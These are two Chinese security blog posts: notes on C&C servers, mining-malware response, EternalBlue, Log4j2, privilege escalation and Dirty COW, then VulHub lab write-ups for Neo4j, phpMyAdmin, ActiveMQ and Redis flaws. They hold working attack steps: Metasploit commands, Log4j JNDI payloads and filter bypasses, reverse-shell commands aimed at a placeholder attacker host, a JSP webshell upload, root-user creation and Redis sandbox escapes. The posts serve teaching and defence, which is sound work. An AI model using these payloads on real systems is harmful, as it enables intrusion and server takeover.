C&C服务器不仅可以收集C&C客户端的信息,如操作系统、应用软件和开放端口等,还可以向C&C客户端发送控制指令,指使它执行某些恶意行为.攻击者也可以将C&C客户端作为跳板,通过其感染更多网络内的主机,扩大C&C客户端的规模. C&C服务器的全称是Command and Control Server,:即”命令及控制服务器”. 常见的C&C通信方式: 通过IP地址访问C&C服务器 通过域名访问C&C服务器 Fast-flux 使用网站或论坛作为C&C服务器 使用DGA生成随机域名 挖矿病毒什么是计算机病毒 计算机病毒(Computer Virus):指编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机正常使用并且能够自我复制的一组计算机指令或程序代码. 特征:隐蔽性、破坏性、破坏性、寄生性、可执行性、可触发性、攻击的主动性、针对性 中毒电脑的主要症状很多,凡是电脑不正常都有可能与病毒有关.电脑染上病毒后,如果没有发作,是很难觉察到的. 但病毒发作时就很容易从以下症状中感觉出来:工作会很不正常;莫名其妙的死机;突然重新启动或无法启动;程序不能运行;磁盘坏簇莫名其妙地增多;磁盘空间变小;系统启动变慢;数据和程序丢失;出现异常的声音、音乐或出现一些无意义的画面问候语等显示;正常的外设使用异常,如打印出现问题,键盘输入的字符与屏幕显示不一致等;异常要求用户输入口令. 挖矿病毒介绍 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue)、web攻击多种漏洞(如Tomcat:弱口令攻击、Veblogic WLS组件漏洞、Jboss,反序列化漏洞、Struts2远程命令执行等),导致大量服务器被感染挖矿程序的现象. 特点: 具有多样性的传播方式 隐蔽谋利的危害行为 勤于更新的特点 危害: 占用计算机资源 会被作为病毒渠道植入其他病毒 系统会被锁死、破坏 内网产生大规模DDos流量导致网络瘫痪 挖矿病毒应急响应挖矿病毒检查工具: Process Hacker:是一款功能丰富的系统进程管理工具.用户只要借助该程序就可以方便,快捷地查看相关进程的速度,内存,及模块等等,另外,还可以对相关的进程进行管理工作. processexplorer:由Sysinternals开发的Windows系统和应用程序监视工具,已并入微软旗下.不仅结合了Filemon(文件监视器)和Regmon(注册表监视器)两个工具的功能,还增加了多项重要的增强功能 pchunter:PC Hunter是一个Windows系统信息查看软件,同时也是一个手工杀毒辅助软件 火绒剑 Windows 事件发现 程序启动很慢,打开任务管理器发现cpu被占用接近100%,服务器资源占用严重 事件分析 查看windows任务管理器,发现多个异常进程 分析进程参数:wmic process get caption,commandline /value >>tmp.txt 12345# 使用下面的命令wmic process get caption,commandline /value# 如果想查询某一个进程的命令行参数,使用下列方式wmic process where caption="svchost.exe" get caption,commandline /value# 这样就可以得到进程的可执行文件位置等信息 对挖矿病毒脚本分析 清除挖矿病毒 关闭异常进程 删除挖矿程序 Linux 事件发现 安全平台提示主机进行挖矿登录,持续访问矿池地址,进入主机使用top命令查看进程CPU占用率高 事件处理 通过ps -auxef和netstat -tulnp两个命令查看异常进程信息 结束病毒进程ps -elf |grep [pid] kill -9 [pid] 删除病毒文件ls -al /proc/[pid]/exe rm -f [exe_path] 检查是否存在可疑定时任务 枚举定时任务:crontab -l 查看anacron异步定时任务:cat /etc/anacrontab 注意:为了避免系统命令被替换,预加载动态库等问题,下载静态链接版本的busybox来进行调查.或者下载源码编译busybox源码,注意编译的时候采用静态链接编译 永恒之蓝(MS17-010)永恒之蓝漏洞简介 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含”永恒之蓝”工具,”永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限 永恒之蓝通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序. 永恒之蓝漏洞攻击利用123456789# 使用msfsearch ms17_010use 0# 设置Payload为bind_tcp,经过测试,此台机器不允许出网,只能正向连接set payload windows/x64/meterpreter/bind_tcp# 设置IP地址set RHOSTS 10.10.2.11# 运行run 永恒之蓝危害及防御危害 可以控制服务器,进行主机提权、获取敏感信息、实施跳板攻击等操作 防御 在线更新:开启Windows Update更新 打补丁:此漏洞对应的微软补丁地址:https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010 关闭相应端口 Log4j2远程代码(RCE)执行Log4j2漏洞原理介绍 Apache Log4j2是一款优秀的ava日志框架,Log4j2作为日志记录的第三方库,被广泛得到使用.可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程. 因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2.这里给出几个辨别方法: Log4j2分为2个jar包,一个是接口log4j-api-{版本号}为ar,一个是具体实现log4j-core-{版本号}jar.Log4j只有一个jar包log4j-{版本号为jar. Log4j2的版本号目前均为2.x.Log4j的版本号均为1.x. 漏洞(CVE-2021-44228)产生原因Log4j2默认提供了Lookup功能,查找提供了一种在任意位置向Log4j配置添加值的方法.它们是实现StrLookup接口的特定类型的插件.其中包括了对JNDI Lookup的支持,但是却未对传入内容进行任何限制,导致攻击者可以JNDI注入,远程加载恶意类到应用中,从而RCE. 前置知识JNDI(Naming and Directory Interface) Java命名和目录接口,既然是接口,那必定就有实现,而目前我们Java中使用最多的基本就是RMI和LDAP的目录服务系统. 而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端.而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录.而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象 总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来. 还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,使用到基于TCP/IP之上的HTTP协议,只有通过HTTP协议,浏览器和服务端约定好的一个协议,他们之间才能正常的交流通讯,而JRMP也是一个与之相似的协议,只能JRMP这个协议仅用于Java RMI中 RMI(Remote Method Invocation) 能够让程序员开发出基于Java的分布式应用.一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用他的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样 一台机器想要执行另一台机器上的java代码 例如: 我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称为Interface Invocation,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口.并且Java中封装了RMI的一系列定义 Server—>告诉注册中心Client—>根据名字和注册中心要端口 Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用. 注册中心约定端口:1099 Registry的作用就好像是病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)在哪个门诊,再去看病(执行远程方法) RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程的方法大致如下:整个过程会进行两次TCP连接: Client获取这个Name和对象的绑定关系 RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.Registrylmpl Stub) Stub会将Remote对象传递给远程引用层java.rmi.server.RemoteRef并创建java.rmi.server.RemoteCall(远程调用)对象. RemoteCall序列化RMI服务名称、Remote对象. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层. RMI服务端的远程引用层sun.rmi.server.UnicastServerRef收到请求会请求传递给Skeleton(sun.rmi.registry.Registrylmpl_Skel#dispatch) Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化. Skeleton处理客户端请求: bind、 list、 lookup、 rebind、 unbind, 如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端. 再去连接Server并调用远程方法 RMI客户端反序列化服务端结果,获取远程对象的引用 RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端 RMI客户端反序列化RMI远程方法调用结果 **危险的点:**如果服务端没有我想调用的对象->RMI允许服务端从远程服务器进行远程URL动态类加载对象调用:从网络通信到内存操作,有一个对象的创建到调用的过程–>在JAVA中使用序列化和反序列化来实现 LDAP(Lightweight Directory Access Protocol)LDAP即是JNDI SPI支持的Service Provider之一,但同时也是协议.LDAP目录服务是中目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据.LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问.LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性.LDAP 的目录信息是以树形结构进行存储的. Log4j2远程代码执行漏洞复现及漏洞修复利用版本: 2.0到2.14.1版本 漏洞复现 漏洞触发点:http://103.116.46.7:8983/solr/admin/cores?action= 漏洞探测:http://103.116.46.7:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.sxy8s9.dnslog.cn} 下载工具进行反弹shellwget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/log4j/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 运行java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YOUR-BASE64-ENCODE}|{base64,-d}|{bash,-i}" -A "YOUR-ATTACK-VPS-IP" 方式一:网址输入:http://103.116.46.7:8983/solr/admin/cores?action=${jndi:ldap://YOUR-ATTACK-VPS-IP:1389/Exploit} 方式二将上方抓包改为POST传参 结果 检测手段 相关用户可根据Java jar解压后是否存在org/apache/logging/log4j相关路径结构,判断是否使用了存在漏洞的组件,若存在相关Java程序包,则很可能受漏洞影响. 若程序使用Maven打包,可查看项目的pom.xml文件中是否存在下图所示的相关字段,若版本号为小于2.15.1,则应用受漏洞影响. 若程序使用gradle打包,可查看build.gradle编译配置文件,若在dependencies部分存在org.apache.logging.log4j相关字段,且版本号为小于2.15.1,则应用受漏洞影响. 攻击排查: 攻击者在利用漏洞前通常采用dnslog方式进行扫描、探测,常见的漏洞利用方式可通过应用系统报错日志中的"javax.naming.CommunicationException"、"javax.naming.NamingException: problem generating object using object factory"、"Error looking up JNDI resource"关键字进行排查. 攻击者发送的数据包中可能存在”${jndi:}” 字样,推荐使用全流量或WAF设备进行检索排查. 修复建议将 log4j-core 升级到 2.15.0 版本接入安全产品第一时间上WAF规则、RASP拦截等措施,给修复争取时间.但是也要注意一些静态规则上的绕过,log4j 支持的写法比较多,有非常多绕过姿势.比如: 1${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc} 删除漏洞类通过删除漏洞类进行修复的方案比较稳,也是官方推荐的一种修复方案.直接删除 log4j jar 包中存在漏洞的类: 1zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 这种修复比较方便快捷,一般业务代码也不会用到 jndi lookup 这个功能.不过可能会对基于版本号判定的安全数据采集造成一定困扰,无法准确统计漏洞的最新受影响情况.建议删除之后在 jar 包后面加上一定的标记,如: log4j-2.14.1.sec.jar另外,由于某些原因不想删除的话,可以自己代码替换原始的 JndiLookup 类,将它加到业务代码中.需要注意的是,必须保证它在 log4j 原类之前加载. 1234567package org.apache.logging.log4j.core.lookup;public class JndiLookup { public JndiLookup() { throw new NoClassDefFoundError("JNDI lookup is disabled"); }} 也可以做成依赖包,在 log4j-core 之前添加,可以实现同样的效果(注意不要引入不可信的第三方依赖,可能导致潜在安全风险,以下配置来源互联网,仅作为示例,请勿直接使用): 12345<dependency> <groupId>org.glavo</groupId> <artifactId>log4j-patch</artifactId> <version>1.0</version></dependency> 当然也可以通过RASP的方式干掉漏洞类,Github上有不少RASP的无损修复方案,比如: 通过配置禁用 log4j 的 lookup 功能禁用的方式就比较多了.然而下面2、3、4这几种方式对低于 2.10 版本的 log4j-core 都没有效果,而且环境变量和启动参数这种设置,在迁移或者变更的过程中丢失的可能性比较大.log4j 在 2.15.0 版本中默认就已经关闭了 lookup 功能.log4j2.component.properties、log4j2.xml 默认放在 ClassPath 路径下,如:源代码的资源目录或者可执行程序所在的当前目录. 设置日志输出 Pattern 格式对于 >=2.7 的版本,在 log4j 中对每一个日志输出格式进行修改.在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广.比如在 log4j2.xml 中配置: 1234567891011121314151617181920<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Console"/> </Root> </Loggers></Configuration>public class Test {public static void main(String[] args) {String t = "${jndi:ldap://xxx.com/xxx}";Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);logger.error(t);}} 设置JVM系统属性在 Java 应用启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者在业务代码中设置系统属性: 1234// 必须在 log4j 实例化之前设置该系统属性System.setProperty("log4j2.formatMsgNoLookups", "true");Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME); 修改配置文件在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true,配置文件放置于应用程序的 ClassPath 路径下. 设置进程环境变量在环境变量中增加:LOG4J_FORMAT_MSG_NO_LOOKUPS=true 注意!这些配置和属性,并不能在所有场景下生效,比如在 logstash 中就无法生效: Solutions and Mitigations: The widespread flag -Dlog4j2.formatMsgNoLookups=true does NOT mitigate the vulnerability in Logstash, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command: zip -q -d /logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476 升级JDK版本对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载.对于 RCE 来说,可以起到很直接的缓解作用,可以作为增强型的加固方案.在高版本JDK环境下,JNDI注入也还是存在一定RCE风险,可以参考这篇文章:另外 log4j 漏洞本身除了 RCE,还存在着巨大的攻击面,比如 SSRF、敏感信息泄露等等,威胁非常大,不要企图仅仅通过升级JDK版本来修复漏洞,建议还是老老实实升级. 权限提升权限提升介绍 提权是将服务器的普通用户提升为管理员用户的一种操作.即当我们getshell-一个网站之后,大部分情况下我们获得的权限是非常低的,这时候就需要利用提权,让原先的低权限提升到高权限.例如:Windows: user—>system user—>administrator Linux:user—>root UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术.UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码.UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改.在windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级.高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统子啊受到安全威胁时造成的损害最小.在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据等操作,都需要经常UAC(User Account Control)用户账号控制的认证 提权方式 系统漏洞提权 数据库提权 第三方软件/服务提权 系统配置错误提权 Windows系统提权系统漏洞提权即利用系统的自身缺陷,用来进行系统权限提升.对于这些系统漏洞,Windows和Liunx均存在提权用的可执行文件. Linux系统提权 信息收集 搜索漏洞(查找相关版本的内核漏洞) 使用exp进行提权 SUID提权 SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件.例如,Linux ping命令通常需要root权限才能打开网络套接字.通过将ping程序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权执行ping. SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限. 当运行具有sudo权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户特权.它可以是root用户,也可以只是另一个用户.如果在程序中设置了suid,该位可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权. Find SUID find / -perm -u=s -type f 2>/dev/nullhttps://gtfobins.github.io/https://gtfobins.github.io/ 脏牛提权复现漏洞描述脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大. 漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会.修改su或者passwd程序就可以达到root的目的. 漏洞危害低权限用户利用脏牛漏洞可以在众多Linux系统上实现本地提权 影响范围(如果你的内核版本低于以下版本,则还存在此漏洞): 1234567Centos7/RHEL7 3.10.0-327.36.3.el7Cetnos6/RHEL6 2.6.32-642.6.2.el6Ubuntu 16.10 4.8.0-26.28Ubuntu 16.04 4.4.0-45.66Ubuntu 14.04 3.13.0-100.147Debian 8 3.16.36-1+deb8u2Debian 7 3.2.82-1 漏洞复现靶场: https://www.vulnhub.com/entry/lampiao-1,249/https://www.vulnhub.com/entry/lampiao-1,249/ https://download.vulnhub.com/lampiao/Lampiao.ziphttps://download.vulnhub.com/lampiao/Lampiao.zip arp-scan 扫描主机 arp-scan -l nmap 扫描目标主机开放端口 nmap -sS -T4 -p 1-65535 -v 192.168.64.141 发现drupal,利用漏洞 通过开放的1898端口进入网站,看到目标网站,发现网站cms是drupal 1234567# msf 搜索drupal漏洞,使用可利用漏洞进行攻击>search drupal# exploit/unix/webapp/drupal_drupalgeddon2>use 1>set rhosts 192.168.64.141>set rport 1898>run 信息收集 上传信息收集脚本,发现存在脏牛提权漏洞 1upload /tmp/linux-exploit-suggester.sh /tmp/lasc.sh 进入shell 执行信息收集脚本,执行结果中发现[CVE-2016-5195]脏牛漏洞 1234shellcd /tmpchmod 777 lasc.sh./lasc.sh 漏洞利用 下载exp,上传exp 1234567# 40611没成功,使用40847mv 40847.cpp /tmp/ upload /tmp/40847.cpp /tmp/lasc.cpp# 进入shell编译执行exp,得到登录密码shellg++ -Wall -pedantic -O2 -std=c++11 -pthread -o exp lasc.cpp -lutil./exp 打开交互式shell,切换root用户,提权成功","tags":["应急响应","蓝队","攻防演练","事件研判","安全运营"],"categories":["红蓝对抗","蓝队"]},{"title":"VulHub-杂项漏洞复现","path":"/2023/05/03/fe16a42b/","content":"总字符数: 10.80K 代码: 3.25K, 文本: 3.19K 预计阅读时间: 28 分钟 Neo4j Shell Server 反序列化漏洞(CVE-2021-34371)漏洞概述Neo4j是一个开源图数据库管理系统. 在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中setSessionVariable方法存在反序列化漏洞.因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响. 在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代. 利用版本: Neo4j <= 3.4.18 漏洞复现环境搭建如果你使用Linux或OSX系统,可以执行如下命令启动一个Neo4j 3.4.18: 1TARGET_IP=<your-ip> docker-compose up -d 其中,环境变量TARGET_IP需要制定靶场环境的IP地址. 如果你是Windows系统,请直接修改docker-compose.yml,指定TARGET_IP环境变量的值. 服务启动后,访问http://your-ip:7474即可查看到Web管理页面,但我们需要攻击的是其1337端口,这个端口是Neo4j Shell端口,使用RMI协议通信. 下载Java RMI客户端,集成基于Rhino的Gadget,发送RMI请求:YOU-BASE64-ENCODE为反弹shell的base64编码后的东西前面用到过好多次了 java -jar rhino_gadget-1.0-SNAPSHOT-fatjar.jar rmi://受害机IP:1337 "bash -c {echo,YOU-BASE64-ENCODE}|{base64,-d}|{bash,-i}" 修复建议 升级到Neo4j 3.4.19及以上版本 phpmyadmin 4.8.1 远程文件包含漏洞 (CVE-2018-12613)漏洞概述利用版本: 4.8.0 4.8.1 漏洞复现环境启动后,访问http://103.116.46.7:8080. phpmyadmin 是”config”模式,所以我们可以直接登录 访问http://103.116.46.7:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在 使用方式也比较简单,可以执行一下SELECT '<?=phpinfo()?>';,然后查看自己的sessionid(中phpMyAdmin的值),然后包含session文件即可 修复建议 升级到最新版phpmyadmin ActiveMQ 反序列化漏洞(CVE-2015-5254)漏洞概述Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等. Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码. 漏洞复现环境运行后,将监听61616和8161两个端口.其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口. 使用浏览器直接访问activemq,查看是否部署完毕 http://103.116.46.7:8161/admin/ (默认的用户名/密码为admin/admin) 漏洞利用过程如下: 构造(可以使用ysoserial)可执行命令的序列化对象 作为一个消息,发送给目标61616端口 访问web管理页面,读取消息,触发漏洞 使用jmet进行漏洞利用.首先下载jmet的jar文件,并在同目录下创建一个external文件夹 jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME. 执行: 1java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping 6b3chr.dnslog.cn" -Yp ROME 103.116.46.7 61616 此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息 点击查看这条消息即可触发命令执行 远程添加root用户执行jmet的命令添加test用户并将其添加到root组,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它 1java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME 103.116.46.7 61616 让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它. 1java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME 103.116.46.7 61616 让我们再为test用户设置一个密码,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它. 1java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME 103.116.46.7 61616 到此为止,一个权限为root,密码为123456的用户即创建完毕.我们可以使用ssh直接远程登陆进入操作系统,并且还是最高权限. ActiveMQ任意文件写入漏洞(CVE-2016-3088)漏洞概述ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录. fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现: 其使用率并不高 文件操作容易出现漏洞 所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用. 在测试过程中,可以关注ActiveMQ的版本,避免走弯路. 漏洞复现环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中. 访问http://103.116.46.7:8161/看到web页面,说明环境已成功运行. 本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求).所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞. 文件写入有几种利用方法: 写入webshell 写入cron或ssh key等文件 写入jar或jetty.xml等库和配置文件 写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径. 分别说一下上述几种利用方法. 写入webshell前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问. 默认的ActiveMQ账号密码均为admin,首先访问http://103.116.46.7:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径: 然后上传webshell: 12345678910111213141516171819202122PUT /fileserver/1.txt HTTP/1.1Host: 103.116.46.7:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 334<%@ page import="java.io.*"%><% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); }%> 移动到web目录下的api文件夹(/opt/activemq/webapps/api/a.jsp)中 12345678910MOVE /fileserver/1.txt HTTP/1.1Destination: file:///opt/activemq/webapps/api/a.jspHost: 103.116.46.7:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0 利用该版本存在的未授权访问漏洞,不用登录,访问http://103.116.46.7:8161/api/a.jsp?cmd=ls,下图可以看到成功执行命令 漏洞修复ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除.建议用户升级至 5.14.0 及其以后版本 Redis 4-unacc未授权访问漏洞漏洞复现此靶机不要使用云服务器,否则后面无法连接 使用nmap扫描靶机端口 如下图所示,redis服务正常开启了,在6379端口 攻击机用直接用redis连接,发现可直接访问,还能通过info命令查看到服务器等一些有价值的信息 这足以证明存在未授权访问漏洞 接下来使用网上存在的 exp,先下载到本地,命令 1234567wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/other/redis-rogue-getshell-master.zipunzip redis-rogue-getshell-master.zipcd redis-rogue-getshell-master/RedisModulesSDK# 编译(编译后,当前目录下会有一个exp.so的文件)makecd .././redis-master.py -r 靶机IP -p 6379 -L 攻击机IP -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami" 成功GETSHELL并执行了whoami的命令 Redis Lua沙盒绕过命令执行(CVE-2022-0543)漏洞概述影响范围 : Debian 系的 Linux 发行版本 + Ubuntu CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码 漏洞原理redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本. 但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件 所以这个CVE本质是一个沙箱绕过漏洞 Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 : 12345678debian/lua_libs_debian.c: echo "// Automatically generated; do not edit." >$@ echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@ set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \\ echo "if (luaL_dostring(lua, \\"$$X = require('$$X');\\"))" >>$@; \\ echo " serverLog(LL_NOTICE, \\"Error loading $$X library\\");" >>$@; \\ done echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@ luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)就是漏洞的来源,. 这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是for sandboxing concerns Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个package对象提供的方法加载动态链接库liblua 里的函数,进而逃逸沙箱执行任意命令 借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令. 需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同 我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令: 1234567local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("id", "r");local res = f:read("*a");f:close();return reseval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0 漏洞复现 直接通过redis-cli -h 127.0.0.1进入redis里面进行测试 使用eval命令执行上述脚本: 1eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0 最后的一点话 : 之所以Ubuntu也受到影响是因为Ubuntu基于Debian, 